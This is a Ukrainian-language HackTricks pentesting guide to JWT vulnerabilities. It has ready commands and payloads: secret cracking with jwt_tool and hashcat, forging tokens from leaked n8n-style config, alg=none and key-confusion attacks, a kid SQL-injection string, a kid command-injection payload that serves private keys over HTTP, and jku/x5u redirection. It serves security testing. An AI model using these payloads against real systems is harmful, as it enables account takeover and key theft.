JWT Уразливості (Json Web Tokens)

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

Частина цього допису базується на чудовому дописі: https://github.com/ticarpi/jwt_tool/wiki/Attack-Methodology
Автор чудового інструмента для pentest JWTs https://github.com/ticarpi/jwt_tool

Швидкі перемоги

Запустіть jwt_tool у режимі All Tests! і чекайте на зелені рядки

python3 jwt_tool.py -M at \
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
-rh "Authorization: Bearer eyJhbG...<JWT Token>"

Якщо пощастить, інструмент знайде випадки, коли вебзастосунок неправильно перевіряє JWT:

Потім ви можете знайти цей запит у вашому proxy або здампити JWT, який використовувався для цього запиту за допомогою jwt_ tool:

python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"

You can also use the Burp Extension SignSaboteur to launch JWT attacks from Burp.

Practical JWT assessment workflow

  • Оцініть контроль сесії: Виберіть запит, прив’язаний до конкретного користувача (e.g., profile, billing). Видаляйте cookies/заголовки по одному, поки запит не буде відхилено, щоб визначити, які саме токени контролюють авторизацію.
  • Знайдіть JWT у трафіку: Зазвичай вони знаходяться в Authorization: Bearer <JWT>, але також можуть з’являтись у кастомних заголовках або cookies. Якщо Burp їх не підсвічує, використайте Target → Site map → Engagement tools → Search з регулярними виразами, наприклад:
  • [= ]eyJ[A-Za-z0-9_-]*\.[A-Za-z0-9._-]*
  • eyJ[a-zA-Z0-9_-]+?\.[a-zA-Z0-9_-]+?\.[a-zA-Z0-9_-]+
  • [= ]eyJ[A-Za-z0-9_\\/+-]*\.[A-Za-z0-9._\\/+-]*
  • Декодуйте й проаналізуйте: Використайте Burp JWT Editor або python3 jwt_tool.py <JWT> щоб прочитати header/payload. Зверніть увагу на alg, exp/термін життя токена, та претензії, що визначають автентифікацію/авторизацію (role, id, username, email тощо).
  • Перевірка застосування підпису: Інвертуйте або видаліть кілька байтів у частині підпису та відтворіть запит. Прийняття означає відсутність валідації підпису, і ви зможете безпосередньо змінювати claims у payload.
  • Мета: Змінити claims у payload, щоб підвищити привілеї; кожна з атак нижче має за мету змусити сервер прийняти підроблений payload, зловживаючи слабкою валідацією, слабкими секретами або небезпечною селекцією ключів.

Tamper data without modifying anything

Ви можете просто змінити дані, залишивши підпис без змін, і перевірити, чи перевіряє сервер підпис. Спробуйте змінити своє username на “admin”, наприклад.

Чи перевіряється токен?

Щоб перевірити, чи виконується перевірка підпису JWT:

  • Повідомлення про помилку вказує на те, що перевірка виконується; чутливі деталі в verbose-повідомленнях слід переглянути.
  • Зміни у поверненій сторінці також вказують на перевірку.
  • Відсутність змін вказує на відсутність перевірки; саме в цей момент варто експериментувати зі зміною claims у payload.

Origin

Важливо визначити, чи токен генерується на стороні сервера чи клієнта, переглянувши історію запитів проксі.

  • Якщо токени вперше виявлені на стороні клієнта, це може означати, що ключ доступний у клієнтському коді — необхідне подальше розслідування.
  • Токени, що походять із сервера, вказують на більш безпечний процес.

Duration

Перевірте, чи токен діє більше 24h… можливо він ніколи не спливає. Якщо є поле exp, перевірте, чи сервер правильно його обробляє.

Брутфорс HMAC секрету

See this page.

Якщо в header використовується HS256, збережіть токен у файл і спробуйте офлайн-перебір:

python3 jwt_tool.py <JWT> -C -d wordlist.txt
hashcat -a 0 -m 16500 jwt.txt /path/to/wordlist.txt -r /usr/share/hashcat/rules/best64.rule

Після відновлення секрету завантажте його як симетричний ключ у Burp JWT Editor і повторно підпишіть змінені claims.

Отримання JWT секретів з leaked config + DB даних

Якщо arbitrary file read (або backup leak) розкриває одночасно матеріали шифрування застосунку та записи користувачів, ви іноді можете відтворити секрет підпису JWT і підробити session cookies без знання будь-яких відкритих паролів. Приклад шаблону, спостережений у стеках автоматизації workflow:

  1. Leak the app key (e.g., encryptionKey) from a config file.
  2. Leak the user table to obtain email, password_hash, and user_id.
  3. Derive the signing secret from the key, then derive the per-user hash expected in the JWT payload:
jwt_secret = sha256(encryption_key[::2]).hexdigest()              # signing key
jwt_hash = b64encode(sha256(f"{email}:{password_hash}")).decode()[:10]
token = jwt.encode({"id": user_id, "hash": jwt_hash}, jwt_secret, "HS256")
  1. Помістіть підписаний токен у session cookie (наприклад, n8n-auth), щоб видавати себе за user/admin акаунт навіть якщо хеш пароля salted.

Змініть алгоритм на None

Встановіть використовуваний алгоритм як “None” і видаліть частину підпису.

Використайте Burp-розширення під назвою “JSON Web Token”, щоб спробувати цю вразливість та змінити різні значення всередині JWT (send the request to Repeater and in the “JSON Web Token” tab you can modify the values of the token. You can also select to put the value of the “Alg” field to “None”).

Змініть алгоритм RS256(asymmetric) на HS256(symmetric) (CVE-2016-5431/CVE-2016-10555)

Алгоритм HS256 використовує secret key для підпису та верифікації кожного повідомлення.
Алгоритм RS256 використовує private key для підпису повідомлення і public key для автентифікації.

Якщо ви зміните алгоритм з RS256 на HS256, бекенд-код використовує public key як secret key і потім застосовує алгоритм HS256 для верифікації підпису.

Отже, використовуючи public key і змінивши RS256 на HS256, ми можемо створити дійсний підпис. Ви можете отримати сертифікат веб-сервера, виконавши це:

openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem

Using Burp JWT Editor, import the RSA public key (from /.well-known/jwks.json or a PEM) and run Attack → HMAC Key Confusion Attack to automate the HS256 re-sign attempt.

Новий публічний ключ у заголовку

Атакувальник вбудовує новий ключ у заголовок токена, і сервер використовує цей ключ для перевірки підпису (CVE-2018-0114).

Це можна зробити за допомогою розширення Burp “JSON Web Tokens”.
(Надішліть запит у Repeater, у вкладці JSON Web Token виберіть “CVE-2018-0114” і відправте запит).

JWKS Spoofing

Інструкція описує метод оцінки безпеки JWT-токенів, особливо тих, що використовують заголовок jku. Цей параметр має посилатись на JWKS (JSON Web Key Set) файл, який містить публічний ключ, необхідний для верифікації токена.

  • Assessing Tokens with “jku” Header:

  • Перевірте URL у полі jku, щоб упевнитися, що він веде до відповідного JWKS-файлу.

  • Змініть значення jku у токені, щоб вказати на контрольований веб-сервіс і відслідковувати трафік.

  • Monitoring for HTTP Interaction:

  • Спостереження HTTP-запитів до вказаного URL свідчить про те, що сервер намагається отримати ключі з вашого посилання.

  • При використанні jwt_tool для цього процесу важливо оновити файл jwtconf.ini, вказавши в ньому власне місце розміщення JWKS, щоб полегшити тестування.

  • Command for jwt_tool:

  • Виконайте наступну команду, щоб змоделювати сценарій з jwt_tool:

python3 jwt_tool.py JWT_HERE -X s

Огляд проблем з kid

Опційний заголовковий параметр kid використовується для ідентифікації конкретного ключа, що особливо важливо в середовищах з кількома ключами для перевірки підписів токенів. Цей параметр допомагає вибрати відповідний ключ для верифікації підпису токена.

Виявлення ключа через kid

Якщо в заголовку присутній параметр kid, рекомендовано шукати у веб-каталозі відповідний файл або його варіації. Наприклад, якщо вказано "kid":"key/12345", слід шукати файли /key/12345 та /key/12345.pem у корені веб-сервера.

Path Traversal with kid

Параметр kid також може бути використаний для навігації по файловій системі, потенційно дозволяючи вибрати довільний файл. Можна перевірити підключення або виконати Server-Side Request Forgery (SSRF), змінивши значення kid так, щоб воно вказувало на певні файли або сервіси. Підміна JWT для зміни значення kid при збереженні оригінального підпису можлива за допомогою прапорця -T в jwt_tool, як показано нижче:

python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""

Нападаючи на файли з передбачуваним вмістом, можливо підробити дійсний JWT. Наприклад, файл /proc/sys/kernel/randomize_va_space у системах Linux, відомий тим, що містить значення 2, може бути використаний у параметрі kid з 2 як симетричним паролем для генерації JWT.

Практичний шаблон для крихкого завантаження ключів з файлової системи — згенерувати HS256 ключ з JWK k, встановленим у AA==, встановити kid на шлях обходу, наприклад ../../../../../../../dev/null, і перезаписати підпис — деякі реалізації трактують пустий файл як дійсний HMAC секрет і прийматимуть підроблені токени.

SQL Injection via “kid”

Якщо вміст клейму kid використовується для отримання пароля з бази даних, це дозволяє здійснити SQL injection, модифікувавши payload kid. Приклад payload, що використовує SQL injection для зміни процесу підпису JWT:

non-existent-index' UNION SELECT 'ATTACKER';-- -

Ця модифікація примушує використовувати відомий секретний ключ ATTACKER для підписування JWT.

OS Injection through “kid”

Сценарій, в якому параметр kid вказує шлях до файлу, що використовується у контексті виконання команд, може призвести до вразливостей Remote Code Execution (RCE). Впровадивши команди в параметр kid, можна витягти приватні ключі. Приклад payload для досягнення RCE і викриття ключів:

/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&

x5u and jku

jku

jku stands for JWK Set URL.
If the token uses a “jkuHeader claim then check out the provided URL. This should point to a URL containing the JWKS file that holds the Public Key for verifying the token. Tamper the token to point the jku value to a web service you can monitor traffic for.

Спочатку потрібно створити новий сертифікат та відповідні приватний і публічний ключі

openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key

Потім ви можете, наприклад, використати jwt.io щоб створити новий JWT з створеними public and private keys та вказати параметр jku на створений сертифікат. Щоб створити дійсний jku сертифікат, ви можете завантажити оригінальний і змінити необхідні параметри.

Ви можете отримати параметри “e” та “n” з публічного сертифіката, використовуючи:

from Crypto.PublicKey import RSA
fp = open("publickey.crt", "r")
key = RSA.importKey(fp.read())
fp.close()
print("n:", hex(key.n))
print("e:", hex(key.e))

If the verifier fetches key material remotely, embed a Burp Collaborator URL in jku/x5u using JWT Editor → Attack → Embed Collaborator payload. Any callback confirms SSRF-style key retrieval; then host your own JWKS/PEM at that URL and re-sign with your private key so the service validates attacker-minted tokens.

x5u

X.509 URL. A URI pointing to a set of X.509 (a certificate format standard) public certificates encoded in PEM form. The first certificate in the set must be the one used to sign this JWT. The subsequent certificates each sign the previous one, thus completing the certificate chain. X.509 is defined in RFC 52807 . Transport security is required to transfer the certificates.

Try to change this header to an URL under your control and check if any request is received. In that case you could tamper the JWT.

To forge a new token using a certificate controlled by you, you need to create the certificate and extract the public and private keys:

openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem

Потім, наприклад, ви можете використати jwt.io для створення нового JWT з створеними публічним та приватним ключами та вказати параметр x5u на створений сертифікат .crt.

Також ви можете зловживати обома цими вразливостями для SSRFs.

x5c

Цей параметр може містити сертифікат у base64:

Якщо атакуючий генерує самопідписаний сертифікат і створює підроблений токен з використанням відповідного приватного ключа, замінить значення параметра “x5c” на щойно згенерований сертифікат та змінить інші параметри, а саме n, e та x5t, то підроблений токен, по суті, буде прийнятий сервером.

openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
openssl x509 -in attacker.crt -text

Вбудований публічний ключ (CVE-2018-0114)

Якщо у JWT вбудовано публічний ключ, як у наступному сценарії:

За допомогою наведеного нижче nodejs скрипта можна згенерувати публічний ключ з цих даних:

const NodeRSA = require('node-rsa');
const fs = require('fs');
n ="​ANQ3hoFoDxGQMhYOAc6CHmzz6_Z20hiP1Nvl1IN6phLwBj5gLei3e4e-DDmdwQ1zOueacCun0DkX1gMtTTX36jR8CnoBRBUTmNsQ7zaL3jIU4iXeYGuy7WPZ_TQEuAO1ogVQudn2zTXEiQeh-58tuPeTVpKmqZdS3Mpum3l72GHBbqggo_1h3cyvW4j3QM49YbV35aHV3WbwZJXPzWcDoEnCM4EwnqJiKeSpxvaClxQ5nQo3h2WdnV03C5WuLWaBNhDfC_HItdcaZ3pjImAjo4jkkej6mW3eXqtmDX39uZUyvwBzreMWh6uOu9W0DMdGBbfNNWcaR5tSZEGGj2divE8"​;
e = "AQAB";
const key = new NodeRSA();
var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public');
console.log(importedKey.exportKey("public"));

Можна згенерувати нову private/public key, вбудувати новий public key у token і використати його для створення нового signature:

openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key

Ви можете отримати “n” та “e” за допомогою цього nodejs скрипту:

const NodeRSA = require('node-rsa');
const fs = require('fs');
keyPair = fs.readFileSync("keypair.pem");
const key = new NodeRSA(keyPair);
const publicComponents = key.exportKey('components-public');
console.log('Parameter n: ', publicComponents.n.toString("hex"));
console.log('Parameter e: ', publicComponents.e.toString(16));

Нарешті, використовуючи публічний і приватний ключі та нові значення “n” і “e”, ви можете скористатися jwt.io для підробки нового дійсного JWT з будь-якою інформацією.

ES256: Revealing the private key with same nonce

Якщо деякі додатки використовують ES256 і використовують той самий nonce для генерації двох jwts, приватний ключ можна відновити.

Here is a example: ECDSA: Revealing the private key, if same nonce used (with SECP256k1)

JTI (JWT ID)

Поле JTI (JWT ID) надає унікальний ідентифікатор для JWT Token. Воно може бути використане для запобігання повторному використанню токена.
Однак уявіть ситуацію, коли максимальна довжина ID — 4 (0001-9999). Запити 0001 і 10001 використовуватимуть той самий ID. Тому, якщо бекенд інкрементує ID при кожному запиті, це можна використати, щоб replay a request (потрібно буде відправити 10000 запитів між кожним успішним повтором).

JWT Registered claims

JSON Web Token (JWT)

Other attacks

Cross-service Relay Attacks

Спостерігалося, що деякі веб-застосунки покладаються на довірений JWT service для генерації та управління своїми токенами. Описані випадки, коли токен, згенерований для одного клієнта JWT service, приймався іншим клієнтом того ж JWT service. Якщо помічено видачу або оновлення JWT через сторонній сервіс, слід перевірити можливість реєстрації облікового запису на іншому клієнті цього сервісу з тим самим username/email. Потім слід спробувати replay отриманого токена в запиті до цілі, щоб перевірити, чи він буде прийнятий.

  • Прийняття вашого токена може свідчити про критичну вразливість, що потенційно дозволяє підробити будь-який обліковий запис користувача. Однак слід зазначити, що для ширшого тестування може знадобитися дозвіл, якщо реєструватися в сторонньому застосунку, оскільки це може входити в юридичну сіру зону.

Expiry Check of Tokens

Термін дії токена перевіряється за допомогою Payload-поля “exp”. Оскільки JWTs часто використовуються без інформації про сесію, потрібна обережність. У багатьох випадках перехоплення та replay чужого JWT може дозволити видавати себе за цього користувача. RFC для JWT рекомендує зменшувати ризик replay-атак, використовуючи поле “exp” для встановлення часу життя токена. Також критично важливо, щоб застосунок реалізував відповідні перевірки для обробки цього значення та відхилення прострочених токенів. Якщо токен містить поле “exp” і часові обмеження тестування дозволяють, радиться зберегти токен і спробувати replay його після закінчення терміну дії. Вміст токена, включно з розбором часових міток і перевіркою строку дії (мітка часу в UTC), можна прочитати за допомогою прапора -R у jwt_tool.

Tools

  • jwt_tool – декодування, підміна claim/header, офлайн злому секретів (-C) та напівавтоматичних режимів атак (-M at).
  • Burp JWT Editor – декодування/перепідпис у Repeater, генерація користувацьких ключів і запуск вбудованих атак (none, HMAC key confusion, embedded JWK, jku/x5u collaborator payloads).
  • hashcat -m 16500 – GPU-прискорене злому секретів HS256 після експорту JWTs у wordlist.

GitHub - ticarpi/jwt_tool: :snake: A toolkit for testing, tweaking and cracking JSON Web Tokens \xc2\xb7 GitHub

References

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks